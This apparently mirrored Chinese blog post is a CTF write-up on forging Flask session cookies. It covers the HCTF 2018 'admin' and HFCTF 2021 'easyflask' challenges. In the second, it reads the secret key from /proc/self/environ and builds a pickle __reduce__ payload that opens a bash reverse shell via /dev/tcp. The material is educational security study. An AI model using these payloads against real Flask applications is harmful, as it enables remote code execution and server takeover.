IT数码 购物 网址 头条 软件 日历 阅读 图书馆
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
图片批量下载器
↓批量下载图片,美女图库↓
图片自动播放器
↓图片自动播放器↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁
 
   -> Python知识库 -> flask中的session伪造问题 -> 正文阅读

[Python知识库]flask中的session伪造问题

前言

这段时间刷题遇见过几次在flask框架中伪造session的,也经常和其他flask框架的两大漏洞SSTI和py反序列化结合来考,今天就写这篇文章学习一下在ctf题目里flask中的session伪造问题。

flask中的session

flask是非常轻量级的web框架,它的session是存储在客户端的,是用户可见的,这也就是造成session伪造的根本原因。在flask框架使用session只需要导入session模块即可。在本地开启一个flask服务。

from flask import Flask,session
app = Flask(__name__)
app.secret_key = "iamXiLitter"
@app.route('/')
def set_session():
    if 'name' in session:
        name = session['name']
        if name == "XiLitter":
            return "欢迎XiLitter"
        if name == "admin":
            return "欢迎admin"
        else:
            return "你是谁"
    else:
        session['name']="XiLitter"
        return "session重新设置"

if __name__ == '__main__':
    app.run(debug=False,port=8000)

打开cookie查看到有session,值是类似于base64编码的字符串。

拿去base64解码,看看里面的存储格式是什么样的。

是json格式存储,还有一堆乱码,那应该就是数据签名。

session安全问题

flask框架的session是存储在客户端的,那么就需要解决session是否会被恶意纂改的问题,而flask通过一个secret_key,也就是密钥对数据进行签名来防止session被纂改,在我上面写的例子就定义有密钥。

app.secret_key = "iamXiLitter"

正常情况下这个密钥是不会给你看的。但是光有数据签名,安全性还是不够的,session没有做任何加密处理,是用户可见的,我们还是可以得到修改session里的内容,如果我们还得到了用于签名的密钥,那么攻击者就可以进行session伪造。那么接下来就通过我本地起的flask服务来伪造admin进行登录。

github上是有伪造脚本的,python2和python3的都有,下载链接:GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder

本机环境python3,有了密钥,对session进行伪造。

伪造出的session添加到cookie中重新刷新 。成功登录admin

?通过两道题目体会session伪造在ctf中的应用。

[HCTF 2018]admin

这道题貌似有很多解法。session伪造是其中一种。它这个给的提示有些隐晦,我们注册登录后,在修改密码的地方查看源代码,有题目源码地址。

单看这个链接也能猜到用的是flask框架。要进行session伪造就必须要拿到密钥。把源码打包下载下来。可以在config.py中找到密钥。

密钥为ckj123。那么就先看看客户端session。在这里直接base64解码是不行的,在网上找解密脚本运行出来。

我们只需要将name中的qwe值替换为admin就可以了。利用密钥伪造出admin的session,还是利用脚本。

拿去替换原来的session就可以成功admin登录啦。

[HFCTF 2021 Final]easyflask?

上一个题是专门考察session伪造的,那么这一题就是结合py反序列化一起考察的题目。

直接看题目,跟着提示很容易找到源码。

#!/usr/bin/python3.6
import os
import pickle

from base64 import b64decode
from flask import Flask, request, render_template, session

app = Flask(__name__)
app.config["SECRET_KEY"] = "*******"

User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 0,
    '__repr__': lambda o: o.uname,
})


@app.route('/', methods=('GET',))
def index_handler():
    if not session.get('u'):
        u = pickle.dumps(User())
        session['u'] = u
    return "/file?file=index.js"


@app.route('/file', methods=('GET',))
def file_handler():
    path = request.args.get('file')
    path = os.path.join('static', path)
    if not os.path.exists(path) or os.path.isdir(path) \
            or '.py' in path or '.sh' in path or '..' in path or "flag" in path:
        return 'disallowed'

    with open(path, 'r') as fp:
        content = fp.read()
    return content


@app.route('/admin', methods=('GET',))
def admin_handler():
    try:
        u = session.get('u')
        if isinstance(u, dict):
            u = b64decode(u.get('b'))
        u = pickle.loads(u)
    except Exception:
        return 'uhh?'

    if u.is_admin == 1:
        return 'welcome, admin'
    else:
        return 'who are you?'


if __name__ == '__main__':
    app.run('0.0.0.0', port=80, debug=False)

先对代码进行审计。因为对python代码不是很熟,所以比较啰嗦。审计flask主要看路由。先看/路由。序列化上面的User类,将序列化值存储在session中。再看/file路由。很明显,它主要对file传入的内容进行一个路径拼接,然后进行一个过滤,最后读取该路径的文件内容。最后是/admin路由。对session中的值进行反序列化,最后判断是否为admin。

这题主要围绕session进行攻击的,所以对session的任意伪造是必不可少的。那么伪造session必须得找到密钥。题目没有直接给我们。唯一能找到密钥的点就是/file路由的文件读取。读取/proc/self/environ就可以得到密钥。个人认为是读取当前进程的环境变量,密钥在环境变量里。

那么密钥就是glzjin22948575858jfjfjufirijidjitg3uiiuuh。剩下就是py反序列化了。思路很简单,直接构造__reduce__魔术方法执行rce。

直接构造恶意类,貌似直接命令执行会报错误,这里用反弹shell解决。

#!/usr/bin/python3.6
import os
import pickle
from base64 import b64encode


User = type('User', (object,), {
    'uname': 'test',
    'is_admin': 1,
    '__repr__': lambda o: o.uname,
    '__reduce__': lambda o: (os.system,("bash -c 'bash -i >& /dev/tcp/ip/2333 0>&1'",))
})

u = pickle.dumps(User())
print(b64encode(u).decode())

这个User类有点奇怪,用了type函数,但是type返回的就是类,所以无影响。而lambda就是匿名函数了,冒号后面的表达式会被执行。在这里我卡了好久,用本机运行出来的序列化串一直无法打通,最后我在kali里用python2运行出来的序列化串可以成功反弹shell。但是环境不是python3的吗,不理解。

那就kali运行出序列化串,

然后就是将这串值加入到session中,先将session拿出来看看结构。这个可以base64解码直接看的

然后就是利用脚本进行伪造了。同时开启监听。

访问/admin路由,将session替换掉,然后重新刷新,接着我的vps成功反弹了shell。在根目录成功找到flag。

注意一定要在linux环境下用python2运行出序列化串才能打通。

结语

flask的session伪造大部分都是跑脚本,只有在找密钥这个地方花点心思。同时,它可以结合许多的漏洞结合起来考察。所以在flask代码中出现SECRET_KEY就要留意一下是不是跟session伪造有关了。

相关链接:

Flask 的 SESSION 伪造 | Paoka1's Blog

[HFCTF 2021 Final]easyflask_errorr0的博客-CSDN博客_easyflask1

  Python知识库 最新文章
Python中String模块
【Python】 14-CVS文件操作
python的panda库读写文件
使用Nordic的nrf52840实现蓝牙DFU过程
【Python学习记录】numpy数组用法整理
Python学习笔记
python字符串和列表
python如何从txt文件中解析出有效的数据
Python编程从入门到实践自学/3.1-3.2
python变量
上一篇文章      下一篇文章      查看所有文章
加:2022-09-15 01:58:19  更:2022-09-15 01:58:52 
 
开发: C++知识库 Java知识库 JavaScript Python PHP知识库 人工智能 区块链 大数据 移动开发 嵌入式 开发工具 数据结构与算法 开发测试 游戏开发 网络协议 系统运维
教程: HTML教程 CSS教程 JavaScript教程 Go语言教程 JQuery教程 VUE教程 VUE3教程 Bootstrap教程 SQL数据库教程 C语言教程 C++教程 Java教程 Python教程 Python3教程 C#教程
数码: 电脑 笔记本 显卡 显示器 固态硬盘 硬盘 耳机 手机 iphone vivo oppo 小米 华为 单反 装机 图拉丁

360图书馆 购物 三丰科技 阅读网 日历 万年历 2024年11日历 -2024/11/15 10:11:45-

图片自动播放器
↓图片自动播放器↓
TxT小说阅读器
↓语音阅读,小说下载,古典文学↓
一键清除垃圾
↓轻轻一点,清除系统垃圾↓
图片批量下载器
↓批量下载图片,美女图库↓
  网站联系: qq:121756557 email:121756557@qq.com  IT数码